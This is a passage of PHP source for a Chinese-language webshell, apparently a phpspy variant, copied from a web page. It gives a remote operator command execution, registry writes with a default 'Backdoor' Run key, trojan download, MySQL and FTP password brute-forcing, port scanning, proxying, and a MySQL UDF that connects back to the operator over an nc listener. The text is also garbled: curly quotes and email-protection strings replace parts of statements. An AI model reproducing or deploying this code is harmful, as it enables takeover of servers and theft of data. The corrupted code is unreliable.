$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo”发现”.$host.”主机打开了端口”.$tmp[$i].”
”;
}else{
$fp = @fsockopen($host, $i, $errno, $errstr, 1);
if($fp) echo”发现”.$host.”主机打开了端口”.$i.”
”;
}
}

}
// 连接MYSQL
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
echo “数据库连接成功!”;
mysql_close();
} else {
echo mysql_error();
}
}

// 执行SQL语句
elseif ($_POST[‘do’] == ‘query’) {
@mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);
@mysql_select_db($dbname) or die(“选择数据库失败”);
$result = @mysql_query($_POST[‘sql_query’]);
echo ($result) ? “SQL语句成功执行!” : “出错: “.mysql_error();
mysql_close();
}

// 备份操作
elseif ($_POST[‘do’] == ‘backupmysql’) {
if (empty($_POST[‘table’]) OR empty($_POST[‘backuptype’])) {
echo “请选择欲备份的数据表和备份方式!”;
} else {
if ($_POST[‘backuptype’] == ‘server’) {
@mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);
@mysql_select_db($dbname) or die(“选择数据库失败”);
$table = array_flip($_POST[‘table’]);
$filehandle = @fopen($path,”w”);
if ($filehandle) {
$result = mysql_query(“SHOW tables”);
echo ($result) ? NULL : “出错: “.mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,”\n\n\n”);
}
}
fclose($filehandle);
echo “数据库已成功备份到 ”.$path.””;
mysql_close();
} else {
echo “备份失败,请确认目标文件夹是否具有可写权限!”;
}
}
}
}
elseif($downrar) {
if (!empty($dl)) {
if(eregi(“unzipto:”,$localfile)){
$path = “”.$dir.”/”.str_replace(“unzipto:”,””,$localfile).””;
$zip = new Zip;
$zipfile=$dir.”/”.$dl[0];
$array=$zip->get_list($zipfile);
$count=count($array);
$f=0;
$d=0;
for($i=0;$i<$count;$i++) {
if($array[$i][folder]==0) {
if($zip->Extract($zipfile,$path,$i)>0) $f++;
}
else $d++;
}
if($i==$f+$d) echo “$dl[0] 解压到”.$path.”成功
($f 个文件 $d 个目录)”;
elseif($f==0) echo “$dl[0] 解压到”.$path.”失败”;
else echo “$dl[0] 未解压完整
(已解压 $f 个文件 $d 个目录)”;
}else{
$zipfile=””;
$zip = new Zip;
for($k=0;isset($dl[$k]);$k++)
{
$zipfile=$dir.”/”.$dl[$k];
if(is_dir($zipfile))
{
unset($zipfilearray);
addziparray($dl[$k]);
for($i=0;$zipfilearray[$i];$i++)
{
$filename=$zipfilearray[$i];
[email protected]($dir.”/”.$zipfilearray[$i]);#p#分页标题#e#
[email protected]($dir.”/”.$filename,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
else
{
$filename=$dl[$k];
[email protected]($zipfile);
[email protected]($zipfile,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$ck = “_QQ44997_”.date(“Y-m-d”,time()).””;
if(empty($localfile)){
header(“Content-type: application/octet-stream”);
header(“Accept-Ranges: bytes”);
header(“Accept-Length: “.strlen($code));
header(“Content-Disposition: attachment;filename=”.$_SERVER[‘HTTP_HOST’].””.$ck.”_Files.zip”);
echo $code;
exit;
}else{
$fp = @fopen(“”.$dir.”/”.$localfile.””,”w”);
echo [email protected]($fp,$code) ? “压缩保存”.$dir.”/”.$localfile.”本地成功!!” : “目录”.$dir.”无可写权限!”;
@fclose($fp);
}
}
} else {
echo “请选择要打包下载的文件!”;
}
}
// Shell.Application 运行程序
elseif(($_POST[‘do’] == ‘programrun’) AND !empty($_POST[‘program’])) {
$shell= &new COM(‘Sh’.’el’.’l.Appl’.’ica’.’tion’);
$a = $shell->ShellExecute($_POST[‘program’],$_POST[‘prog’]);
echo ($a==’0′) ? “程序已经成功执行!” : “程序运行失败!”;
}
// 查看PHP配置参数状况
elseif(($_POST[‘do’] == ‘viewphpvar’) AND !empty($_POST[‘phpvarname’])) {
echo “配置参数 “.$_POST[‘phpvarname’].” 检测结果: “.getphpcfg($_POST[‘phpvarname’]).””;
}
// 读取注册表
elseif(($regread) AND !empty($_POST[‘readregname’])) {
$shell= &new COM(‘WSc’.’rip’.’t.Sh’.’ell’);
var_dump(@$shell->RegRead($_POST[‘readregname’]));
}

// 写入注册表
elseif(($regwrite) AND !empty($_POST[‘writeregname’]) AND !empty($_POST[‘regtype’]) AND !empty($_POST[‘regval’])) {
$shell= &new COM(‘W’.’Scr’.’ipt.S’.’hell’);
$a = @$shell->RegWrite($_POST[‘writeregname’], $_POST[‘regval’], $_POST[‘regtype’]);
echo ($a==’0′) ? “写入注册表健值成功!” : “写入 “.$_POST[‘regname’].”, “.$_POST[‘regval’].”, “.$_POST[‘regtype’].” 失败!”;
}
// 删除注册表
elseif(($regdelete) AND !empty($_POST[‘delregname’])) {
$shell= &new COM(‘WS’.’cri’.’pt.S’.’he’.’ll’);
$a = @$shell->RegDelete($_POST[‘delregname’]);
echo ($a==’0′) ? “删除注册表健值成功!” : “删除 “.$_POST[‘delregname’].” 失败!”;
}
else {
echo “$notice”;
}
echo “

\n”;
/*===================== 执行操作 结束 =====================*/
if (!isset($_GET[‘action’]) OR empty($_GET[‘action’]) OR ($_GET[‘action’] == “dir”)) {
$tb->tableheader();
?>

文件
创建日期
最后修改
大小
属性
操作#p#分页标题#e#


// 目录列表
[email protected]($dir);
$dir_i = ‘0’;
while ([email protected]($dirs)) {
$filepath=”$dir/$file”;
[email protected]_dir($filepath);
if($a==”1″){
if($file!=”..” && $file!=”.”) {
[email protected](“Y-m-d H:i:s”,@filectime($filepath));
[email protected](“Y-m-d H:i:s”,@filemtime($filepath));
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
echo “\n”;
echo ” [$file]\n”;
echo ” $ctime\n”;
echo ” $mtime\n”;
echo ” Search\n”;
echo ” $dirperm\n”;
echo ” | 删除 | 改名 |\n”;
echo “\n”;
$dir_i++;
} else {
if($file==”..”) {
echo “\n”;
echo ” 返回上级目录\n”;
echo “\n”;
}
}
}
}// while
@closedir($dirs);
?>



// 文件列表
[email protected]($dir);
$file_i = ‘0’;
while ([email protected]($dirs)) {
$filepath=”$dir/$file”;
[email protected]_dir($filepath);
if($a==”0″){
[email protected]($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
[email protected](“Y-m-d H:i:s”,@filectime($filepath));
[email protected](“Y-m-d H:i:s”,@filemtime($filepath));
} else {
$ctime=”[email protected](“Y-m-d H:i:s”,@filectime($filepath)).””;
$mtime=”[email protected](“Y-m-d H:i:s”,@filemtime($filepath)).””;
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo “\n”;
echo ” ”;
echo “”;
echo “$file\n”;
echo ” $ctime\n”;
echo ” $mtime\n”;#p#分页标题#e#
echo ” $size KB\n”;
echo ” $fileperm\n”;
echo ” 下载 | 编辑 | 删除 | 改名 | 时间\n”;
echo “\n”;
$file_i++;
}
}// while
@closedir($dirs);
if(get_cfg_var(‘safemode’))$z = “(?)”;
else $z = “(?)”;
$tb->tdbody(‘
’.$tb->makeinput(‘chkall’,’on’,’onclick=”CheckAll(this.form)”‘,’checkbox’,’30’,”).’ 本地文件:’.$tb->makeinput(‘localfile’,”,”,’text’,’15’).”.$tb->makeinput(‘downrar’,’选中打包下载或本地保存’,”,’submit’).’  ’.$z.'’.$dir_i.’ 个目录 / ‘.$file_i.’ 个文件
’,’center’,getrowbg(),”,”,’6′);

echo “

\n”;
echo “\n”;
}// end dir

elseif ($_GET[‘action’] == “editfile”) {
if(empty($newfile)) {
$filename=”$dir/$editfile”;
[email protected]($filename,”r”);
[email protected]($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = “$dir/$editfile”;
}
$action = “?dir=”.urlencode($dir).”&editfile=”.$editfile;
$tb->tableheader();
$tb->formheader($action,’新建/编辑文件’);
$tb->tdbody(‘当前文件: ‘.$tb->makeinput(‘editfilename’,$filename).’ 输入新文件名则建立新文件 Php代码加密: javascript:alert(\’这个功能只可以用来加密或是压缩完整的php代码。\\n\\n非php代码或不完整php代码或不支持gzinflate函数请不要使用!\’)”> ‘);
$tb->tdbody($tb->maketextarea(‘filecontent’,$contents));
$tb->makehidden(‘do’,’doeditfile’);
$tb->formfooter(‘1′,’30’);
}//end editfile

elseif ($_GET[‘action’] == “rename”) {
$nowfile = (isset($_POST[‘newname’])) ? $_POST[‘newname’] : basename($_GET[‘fname’]);
$action = “?dir=”.urlencode($dir).”&fname=”.urlencode($fname);
$tb->tableheader();
$tb->formheader($action,’修改文件名’);
$tb->makehidden(‘oldname’,$dir.”/”.$nowfile);
$tb->makehidden(‘dir’,$dir);
$tb->tdbody(‘当前文件名: ‘.basename($nowfile));
$tb->tdbody(‘改名为: ‘.$tb->makeinput(‘newname’));
$tb->makehidden(‘do’,’rename’);#p#分页标题#e#
$tb->formfooter(‘1′,’30’);
}//end rename

elseif ($_GET[‘action’] == “eval”) {
$action = “?dir=”.urlencode($dir).””;
$tb->tableheader();
$tb->formheader(”.$action.’ “target=”_blank’ ,’执行php脚本’);
$tb->tdbody($tb->maketextarea(‘phpcode’,$contents));
$tb->formfooter(‘1′,’30’);

}
elseif ($_GET[‘action’] == “fileperm”) {
$action = “?dir=”.urlencode($dir).”&file=”.$file;
$tb->tableheader();
$tb->formheader($action,’修改文件属性’);
$tb->tdbody(‘修改 ‘.$file.’ 的属性为: ‘.$tb->makeinput(‘fileperm’,substr(base_convert(fileperms($dir.’/’.$file),10,8),-4)));
$tb->makehidden(‘file’,$file);
$tb->makehidden(‘dir’,urlencode($dir));
$tb->makehidden(‘do’,’editfileperm’);
$tb->formfooter(‘1′,’30’);
}//end fileperm

elseif ($_GET[‘action’] == “newtime”) {
$action = “?dir=”.urlencode($dir);
$cachemonth = array(‘January’=>1,’February’=>2,’March’=>3,’April’=>4,’May’=>5,’June’=>6,’July’=>7,’August’=>8,’September’=>9,’October’=>10,’November’=>11,’December’=>12);
$tb->tableheader();
$tb->formheader($action,’克隆文件最后修改时间’);
$tb->tdbody(“修改文件: “.$tb->makeinput(‘curfile’,$file,’readonly’).” → 目标文件: “.$tb->makeinput(‘tarfile’,’需填完整路径及文件名’),’center’,’2′,’30’);
$tb->makehidden(‘do’,’domodtime’);
$tb->formfooter(”,’30’);
$tb->formheader($action,’自定义文件最后修改时间’);
$tb->tdbody(‘

  • 有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07
    (该日期根据 32 位有符号整数的最小值和最大值而来)
  • 说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!
’,’left’);
$tb->tdbody(‘当前文件名: ‘.$file);
$tb->makehidden(‘curfile’,$file);
$tb->tdbody(‘修改为: ‘.$tb->makeinput(‘year’,’1984′,”,’text’,’4′).’ 年 ‘.$tb->makeselect(array(‘name’=>’month’,’option’=>$cachemonth,’selected’=>’October’)).’ 月 ‘.$tb->makeinput(‘data’,’18’,”,’text’,’2′).’ 日 ‘.$tb->makeinput(‘hour’,’20’,”,’text’,’2′).’ 时 ‘.$tb->makeinput(‘minute’,’00’,”,’text’,’2′).’ 分 ‘.$tb->makeinput(‘second’,’00’,”,’text’,’2′).’ 秒’,’center’,’2′,’30’);
$tb->makehidden(‘do’,’modmytime’);
$tb->formfooter(‘1′,’30’);
}//end newtime

elseif ($_GET[‘action’] == “shell”) {
$action = “??action=shell&dir=”.urlencode($dir);
$tb->tableheader();
$tb->tdheader(‘WebShell Mode’);
if (substr(PHP_OS, 0, 3) == ‘WIN’) {
$program = isset($_POST[‘program’]) ? $_POST[‘program’] : “c:\winnt\system32\cmd.exe”;
$prog = isset($_POST[‘prog’]) ? $_POST[‘prog’] : “/c net start > “.$pathname.”/log.txt”;
echo “

\n”;
$tb->tdbody(‘无回显运行程序 → 文件: ‘.$tb->makeinput(‘program’,$program).’ 参数: ‘.$tb->makeinput(‘prog’,$prog,”,’text’,’40’).’ ‘.$tb->makeinput(”,’Run’,”,’submit’),’center’,’2′,’35’);
$tb->makehidden(‘do’,’programrun’);
echo “
\n”;
}
echo “
\n”;#p#分页标题#e#
if(isset($_POST[‘cmd’])) $cmd = $_POST[‘cmd’];
$tb->tdbody(‘提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. ‘);
$tb->tdbody(‘proc_open函数假设不是默认的winnt系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.’);
$tb->tdbody(‘proc_open函数要使用的cmd程序的位置:’.$tb->makeinput(‘cmd’,$cmd,”,’text’,’30’).'(要是是linux系统还是大大们自己修改吧)’);
$execfuncs = (substr(PHP_OS, 0, 3) == ‘WIN’) ? array(‘system’=>’system’,’passthru’=>’passthru’,’exec’=>’exec’,’shell_exec’=>’shell_exec’,’popen’=>’popen’,’wscript’=>’Wscript.Shell’,’proc_open’=>’proc_open’) : array(‘system’=>’system’,’passthru’=>’passthru’,’exec’=>’exec’,’shell_exec’=>’shell_exec’,’popen’=>’popen’,’proc_open’=>’proc_open’);
$tb->tdbody(‘选择执行函数: ‘.$tb->makeselect(array(‘name’=>’execfunc’,’option’=>$execfuncs,’selected’=>$execfunc)).’ 输入命令: ‘.$tb->makeinput(‘command’,$_POST[‘command’],”,’text’,’60’).’ ‘.$tb->makeinput(”,’Run’,”,’submit’));
?>





}//end shell

elseif ($_GET[‘action’] == “reg”) {
$action = ‘?action=reg’;
$regname = isset($_POST[‘regname’]) ? $_POST[‘regname’] : ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber’;#p#分页标题#e#
$registre = isset($_POST[‘registre’]) ? $_POST[‘registre’] : ‘HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor’;
$regval = isset($_POST[‘regval’]) ? $_POST[‘regval’] : ‘c:\winnt\backdoor.exe’;
$delregname = $_POST[‘delregname’];
$tb->tableheader();
$tb->formheader($action,’读取注册表’);
$tb->tdbody(‘键值: ‘.$tb->makeinput(‘readregname’,$regname,”,’text’,’100′).’ ‘.$tb->makeinput(‘regread’,’读取’,”,’submit’),’center’,’2′,’50’);
echo “”;

$tb->formheader($action,’写入注册表’);
$cacheregtype = array(‘REG_SZ’=>’REG_SZ’,’REG_BINARY’=>’REG_BINARY’,’REG_DWORD’=>’REG_DWORD’,’REG_MULTI_SZ’=>’REG_MULTI_SZ’,’REG_EXPAND_SZ’=>’REG_EXPAND_SZ’);
$tb->tdbody(‘键值: ‘.$tb->makeinput(‘writeregname’,$registre,”,’text’,’56’).’ 类型: ‘.$tb->makeselect(array(‘name’=>’regtype’,’option’=>$cacheregtype,’selected’=>$regtype)).’ 值: ‘.$tb->makeinput(‘regval’,$regval,”,’text’,’15’).’ ‘.$tb->makeinput(‘regwrite’,’写入’,”,’submit’),’center’,’2′,’50’);
echo “”;

$tb->formheader($action,’删除注册表’);
$tb->tdbody(‘键值: ‘.$tb->makeinput(‘delregname’,$delregname,”,’text’,’100′).’ ‘.$tb->makeinput(‘regdelete’,’删除’,”,’submit’),’center’,’2′,’50’);
echo “”;
$tb->tablefooter();
}//end reg
elseif ($_GET[‘action’] == “downloads”){
$action = ‘?action=dir’;
$tb->tableheader();
$tb->formheader($action,’http文件下载模式’);
$tb->tdbody(‘你可以使用本功能把一些小工具以http方式下载到此服务器’,’center’);
$tb->tdbody(‘文件位置: ‘.$tb->makeinput(‘durl’,’http://google.com/muma.exe’,”,’text’,’70’).'
下载到:’.$tb->makeinput(‘path’,’./muma.exe’,”,’text’,’60’).”.$tb->makehidden(‘do’,’downloads’).”.$tb->makeinput(”,’下载’,”,’submit’),’center’,’1′,’35’);
echo “”;
$tb->tdbody(‘注意,假设文件太大将无法下载下来而且影响执行速度.’,’center’);
$tb->tablefooter();
}
elseif ($_GET[‘action’] == “mix”){
$action = ‘?action=dir’;
$tb->tableheader();
$tb->formheader($action,’解压缩mix.dll文件’);
$tb->tdbody(‘在这里可以把压缩在phpspy里的mix.dll解压缩出来。’,’center’);
$tb->tdbody(‘解压缩为: ‘.$tb->makeinput(‘mixto’,’./mix.dll’,”,’text’,’70’).”.$tb->makehidden(‘action’,’mix’).”.$tb->makeinput(”,’unzip’,”,’submit’),’center’,’1′,’35’);
echo “”;
$tb->tablefooter();
}
elseif ($_GET[‘action’] == “crack”){
$action = ‘?action=dir’;
$tb->tableheader();
$tb->tdbody(‘这里的组件主要用来突破一些特别的地方而准备,比如内网。’,’center’);
if($type==”crack”){
$tb->formheader($action,’暴力破解mysql或ftp密码 [Mysql杂项]’);
$tb->tdbody(‘你在这里设置一些参数进行mysql登陆密码的破解。’,’center’);
$tb->tdbody(‘host: ‘.$tb->makeinput(‘host’,’localhost’,”,’text’,’12’).’ 帐号’.$tb->makeinput(‘user’,’root’,”,’text’,’12’).”.$tb->makehidden(‘do’,’crack’).’ 字典:’.$tb->makeinput(‘passfile’,’./password.txt’,”,’text’,’20’).’ 一次试探:’.$tb->makeinput(‘onetime’,’100′,”,’text’,’6′).’个 ’.$tb->makeinput(”,’crack’,”,’submit’),’center’,’1′,’35’);#p#分页标题#e#
$tb->tdbody(‘MYSQL: Ftp:’,’center’);
echo “”;
if(getphpcfg(“allow_url_fopen”)==”Yes”) $temp = “或远程文件”;
$tb->tdbody(‘字典可以使用相对或绝对路径’.$temp.’,Ftp的密码破解测试已经通过。’,’center’);
$tb->formheader($action,’端口扫描’);
$tb->tdbody(‘在这里可以进行端口的简单扫描。’,’center’);
$tb->tdbody(‘host: ‘.$tb->makeinput(‘host’,’127.0.0.1′,”.$tb->makehidden(‘do’,’port’).”,’text’,’12’).’ 端口表:’.$tb->makeinput(‘port’,”.$admin[port].”,”,’text’,’60’).”,’center’,’1′,’35’);
$tb->tdbody(”.$tb->makeinput(”,’进行端口扫描’,”,’submit’).”,’center’);
echo “”;
$tb->tdbody(‘端口表请把你要查的端口用逗号隔开!’,’center’);
$tb->tableheader();
}else{
$tb->formheader(“”.$action.”\” enctype=\”multipart/form-data”,’使用Mysql上传文件 [Crack杂项]’);
$tb->tdbody(‘利用Mysql连接帐号把文件以mysql的权限导到Webshell权限本身不可写的地方’,’center’);
$tb->tdbody(‘Host: ‘.$tb->makeinput(‘host’,’localhost’,”,’text’,’16’).’User: ‘.$tb->makeinput(‘user’,’root’,”,’text’,’16’).’PASS: ‘.$tb->makeinput(‘password’,”,”,’text’,’16’).’db: ‘.$tb->makeinput(‘database’,’mysql.user’,”,’text’,’16’).’upto: ‘.$tb->makeinput(‘uppath’,’c:/’,”,’text’,’16’).”.$tb->makehidden(‘action’,’mysqlup’),’center’,’1′,’35’);
$tb->tdbody(‘上传后文件名: ‘.$tb->makeinput(‘upname’,”,”,’text’,’16’).’选择文件: ‘.$tb->makeinput(‘upfile’,”,”,’file’,’26’).”.$tb->makeinput(”,’upload’,”,’submit’),’center’,’1′,’35’);
echo “”;
$tb->tdbody(‘貌似只要有file权限的帐号就可以了,不写上传后文件名则为原来文件名。.’,’center’);
$tb->formheader($action,’利用Mysql下载文件’);
$tb->tdbody(‘利用Mysql连接帐号下载Webshell不能读取下载的文件或数据库服务器文件。 启用压缩: javascript:alert(\’使用此功能的时候会RAR压缩后下载你所选择的文件。!\’)”> ‘,’center’);
$tb->tdbody(‘Host: ‘.$tb->makeinput(‘host’,’localhost’,”,’text’,’16’).’User: ‘.$tb->makeinput(‘user’,’root’,”,’text’,’16’).’PASS: ‘.$tb->makeinput(‘password’,”,”,’text’,’16’).”.$tb->makehidden(‘action’,’mysqldown’).’文件: ‘.$tb->makeinput(‘filename’,’C:/windows/php.ini’,”,’text’,’26’).”.$tb->makeinput(”,’download’,”,’submit’),’center’,’1′,’35’);
echo “”;
$tb->tdbody(‘貌似只要有file权限的帐号就可以了,至少可以读到邻居了.’,’center’);
$tb->tdbody(‘Windows默认情况下Mysql为System权限,而Linux系统则权限不高。.’,’center’);
}
$tb->tablefooter();
}
elseif ($_GET[‘action’] == “search”){
$action = ‘?dir=’.$dir.”;
$tb->tableheader();
$tb->formheader($action,’文件查找’);
$tb->tdbody(‘你可以使用本功能查找一个目录下的文件里哪写文件包含着关键词!’,’center’);
$tb->tdbody(‘文件位置: ‘.$tb->makeinput(‘path’,”.$nowpath.”,”,’text’,’70’).'
查找文字:’.$tb->makeinput(‘oldkey’,’下贱’,”,’text’,’60’).”.$tb->makehidden(‘do’,’search’).'
是否计算所在行javascript:alert(\’选定此处将会列出关键词在所在文件的多少行,和所在的那文件有多少行进行比对\\n\\n格式为:[所在行/文件总行]例如[12/99],用来进行分析.\\n\\n此功能可能会增加一部分的延时,请考虑使用,没有可读权限将出错!\’)”> (此功能和下面一个功能会影响执行速度,所以默认关闭!)
适当读取:javascript:alert(\’选定此处将会列出关键词在所在位置及你设定结束区域内的部分字符..\\n\\n采取此功能查找完文件后把鼠标移动到找到的文件名上即可读取分析….\\n\\n此功能可能会增加一部分的延时,请考虑使用,没有可读权限将出错!\’)”> 读取关键词前’.$tb->makeinput(‘beline’,’0′,”,’text’,’3′).’个字符 ‘.$tb->makehidden(‘dir’,”.$dir.”).’到关键词后第’.$tb->makeinput(‘endline’,’10’,”,’text’,’3′).’个字符… ‘.$tb->makehidden(‘dir’,”.$dir.”).”.$tb->makeinput(”,’开始查找文件’,”,’submit’),’center’,’1′,’35’);#p#分页标题#e#
echo “”;
$tb->tdbody(‘请表太大的目录了,慢慢浏览慢慢找好不好嘛.假设选定计算行速度会慢。显示[所在行/总共多少行]’,’center’);
$tb->tablefooter();
}
elseif ($_GET[‘action’] == “proxy”) {
$action = ‘?action=proxy’;
$tb->tableheader();
$tb->formheader($action,’在线代理’,’proxyframe’);
$tb->tdbody(‘

  • 用本功能仅实现简单的 HTTP 代理,不会显示使用相对路径的图片、链接及CSS样式表.
  • 用本功能可以通过本服务器浏览目标URL,但不支持 SQL Injection 探测以及某些特殊字符.
  • 用本功能浏览的 URL,在目标主机上留下的IP记录是 : ‘.gethostbyname($_SERVER[‘SERVER_NAME’]).'
’,’left’);
$tb->tdbody(‘URL: ‘.$tb->makeinput(‘url’,’http://www.google.com’,”,’text’,’100′).’ ‘.$tb->makeinput(”,’浏览’,”,’submit’),’center’,’1′,’40’);
$tb->tdbody(‘’);
echo “”;
$tb->tablefooter();
}//end proxy

elseif ($_GET[‘action’] == “sql”) {
$action = ‘?action=sql’;

$servername = isset($_POST[‘servername’]) ? $_POST[‘servername’] : ‘localhost’;
$dbusername = isset($_POST[‘dbusername’]) ? $_POST[‘dbusername’] : ‘root’;
$dbpassword = $_POST[‘dbpassword’];
$dbname = $_POST[‘dbname’];
$sql_query = $_POST[‘sql_query’];
if($type==”fun”){
$sql_query = “CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\\Winnt\\\Mix.dll’;
select Mixconnect(‘”.$_SERVER[‘REMOTE_ADDR’].”‘,’8888’);/*这个最好先执行了上面一句再用*/
/*请在你计算机上执行 nc -vv -l -p 8888*/”;
}
$tb->tableheader();
$tb->formheader($action,’执行 SQL 语句’);
$tb->tdbody(‘Host: ‘.$tb->makeinput(‘servername’,$servername,”,’text’,’20’).’ User: ‘.$tb->makeinput(‘dbusername’,$dbusername,”,’text’,’15’).’ Pass: ‘.$tb->makeinput(‘dbpassword’,$dbpassword,”,’text’,’15’).’ DB: ‘.$tb->makeinput(‘dbname’,$dbname,”,’text’,’15’).’ ‘.$tb->makeinput(‘connect’,’连接’,”,’submit’));
$tb->tdbody($tb->maketextarea(‘sql_query’,$sql_query,’85’,’10’));
$tb->makehidden(‘do’,’query’);
$tb->formfooter(‘1′,’30’);
}//end sql query

elseif ($_GET[‘action’] == “sqlbak”) {
$action = ‘?action=sqlbak’;
$servername = isset($_POST[‘servername’]) ? $_POST[‘servername’] : ‘localhost’;
$dbusername = isset($_POST[‘dbusername’]) ? $_POST[‘dbusername’] : ‘root’;
$dbpassword = $_POST[‘dbpassword’];
$dbname = $_POST[‘dbname’];
$tb->tableheader();
$tb->formheader($action,’备份 MySQL 数据库’);
$tb->tdbody(‘Host: ‘.$tb->makeinput(‘servername’,$servername,”,’text’,’20’).’ User: ‘.$tb->makeinput(‘dbusername’,$dbusername,”,’text’,’15’).’ Pass: ‘.$tb->makeinput(‘dbpassword’,$dbpassword,”,’text’,’15’).’ DB: ‘.$tb->makeinput(‘dbname’,$dbname,”,’text’,’15’).’ ‘.$tb->makeinput(‘connect’,’连接’,”,’submit’));
@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
$tables = @mysql_list_tables($dbname);
while ($table = @mysql_fetch_row($tables)) {
$cachetables[$table[0]] = $table[0];
}
@mysql_free_result($tables);
if (empty($cachetables)) {
$tb->tdbody(‘您没有连接数据库 or 当前数据库没有任何数据表’);#p#分页标题#e#
} else {
$tb->tdbody(‘

请选择表:’.$tb->makeselect(array(‘name’=>’table[]’,’option’=>$cachetables,’multiple’=>1,’size’=>15,’css’=>1)).'
备份数据所保存的路径:’.$tb->makeinput(‘path’,$pathname.’/’.$_SERVER[‘HTTP_HOST’].’_MySQL.sql’,”,’text’,’50’).'
直接下载到本地 (适合数据量较小的数据库)
’);
$tb->makehidden(‘do’,’backupmysql’);
$tb->formfooter(‘0′,’30’);
}
$tb->tablefooter();
@mysql_close();
}//end sql backup

elseif ($_GET[‘action’] == “phpenv”) {
$user = ” 以免crush点此获取当前进程用户名 “;
$upsize=get_cfg_var(“file_uploads”) ? get_cfg_var(“upload_max_filesize”) : “不允许上传”;
$adminmail=(isset($_SERVER[‘SERVER_ADMIN’])) ? “”.$_SERVER[‘SERVER_ADMIN’].”” : “”.get_cfg_var(“sendmail_from”).””;
if ($dis_func == “”) {
$dis_func = “No”;
}else {
$dis_func = str_replace(” “,”
”,$dis_func);
$dis_func = str_replace(“,”,”
”,$dis_func);
}
$phpinfo=(!eregi(“phpinfo”,$dis_func)) ? “Yes” : “No”;
$info = array(
0 => array(“当前php进程用户”,$user),
1 => array(“服务器操作系统”,PHP_OS),
2 => array(“服务器时间”,date(“Y年m月d日 h:i:s”,time())),
3 => array(“服务器域名”,””.$_SERVER[‘SERVER_NAME’].””),
4 => array(“服务器IP地址”,gethostbyname($_SERVER[‘SERVER_NAME’])),
5 => array(“服务器操作系统文字编码”,$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]),
6 => array(“服务器解译引擎”,$_SERVER[‘SERVER_SOFTWARE’]),
7 => array(“Web服务端口”,$_SERVER[‘SERVER_PORT’]),
8 => array(“PHP运行方式”,strtoupper(php_sapi_name())),
9 => array(“PHP版本”,PHP_VERSION),
10 => array(“运行于安全模式”,getphpcfg(“safemode”)),
11 => array(“服务器管理员”,$adminmail),
12 => array(“本文件路径”,__FILE__),
13 => array(“允许使用 URL 打开文件 allow_url_fopen”,getphpcfg(“allow_url_fopen”)),
14 => array(“允许动态加载链接库 enable_dl”,getphpcfg(“enable_dl”)),
15 => array(“显示错误信息 display_errors”,getphpcfg(“display_errors”)),
16 => array(“自动定义全局变量 register_globals”,getphpcfg(“register_globals”)),
17 => array(“magic_quotes_gpc”,getphpcfg(“magic_quotes_gpc”)),
18 => array(“程序最多允许使用内存量 memory_limit”,getphpcfg(“memory_limit”)),
19 => array(“POST最大字节数 post_max_size”,getphpcfg(“post_max_size”)),
20 => array(“允许最大上传文件 upload_max_filesize”,$upsize),
21 => array(“程序最长运行时间 max_execution_time”,getphpcfg(“max_execution_time”).”秒”),#p#分页标题#e#
22 => array(“被禁用的函数 disable_functions”,$dis_func),
23 => array(“phpinfo()”,$phpinfo),
24 => array(“目前还有空余空间diskfreespace”,intval(diskfreespace(“.”) / (1024 * 1024)).’Mb’),
25 => array(“图形处理 GD Library”,getfun(“imageline”)),
26 => array(“IMAP电子邮件系统”,getfun(“imap_close”)),
27 => array(“MySQL数据库”,getfun(“mysql_close”)),
28 => array(“SyBase数据库”,getfun(“sybase_close”)),
29 => array(“Oracle数据库”,getfun(“ora_close”)),
30 => array(“Oracle 8 数据库”,getfun(“OCILogOff”)),
31 => array(“PREL相容语法 PCRE”,getfun(“preg_match”)),
32 => array(“PDF文档支持”,getfun(“pdf_close”)),
33 => array(“Postgre SQL数据库”,getfun(“pg_close”)),
34 => array(“SNMP网络管理协议”,getfun(“snmpget”)),
35 => array(“压缩文件支持(Zlib)”,getfun(“gzclose”)),
36 => array(“XML解析”,getfun(“xml_set_object”)),
37 => array(“FTP”,getfun(“ftp_login”)),
38 => array(“ODBC数据库连接”,getfun(“odbc_close”)),
39 => array(“Session支持”,getfun(“session_start”)),
40 => array(“Socket支持”,getfun(“fsockopen”)),
);
$tb->tableheader();
echo “

\n”;
$tb->tdbody(‘查看PHP配置参数状况’,’left’,’1′,’30’,’style=”padding-left: 5px;”‘);
$tb->tdbody(‘请输入配置参数(如:magic_quotes_gpc): ‘.$tb->makeinput(‘phpvarname’,”,”,’text’,’40’).’ ‘.$tb->makeinput(”,’查看’,”,’submit’),’left’,’2′,’30’,’style=”padding-left: 5px;”‘);
$tb->makehidden(‘do’,’viewphpvar’);
echo “
\n”;
$hp = array(0=> ‘服务器特性’, 1=> ‘PHP基本特性’, 2=> ‘组件支持状况’);
for ($a=0;$a<3;$a++) {
$tb->tdbody(‘’.$hp[1].'’,’left’,’1′,’30’,’style=”padding-left: 5px;”‘);
?>



if ($a==0) {
for($i=0;$i<=12;$i++) {
echo “\n”;
}
} elseif ($a == 1) {
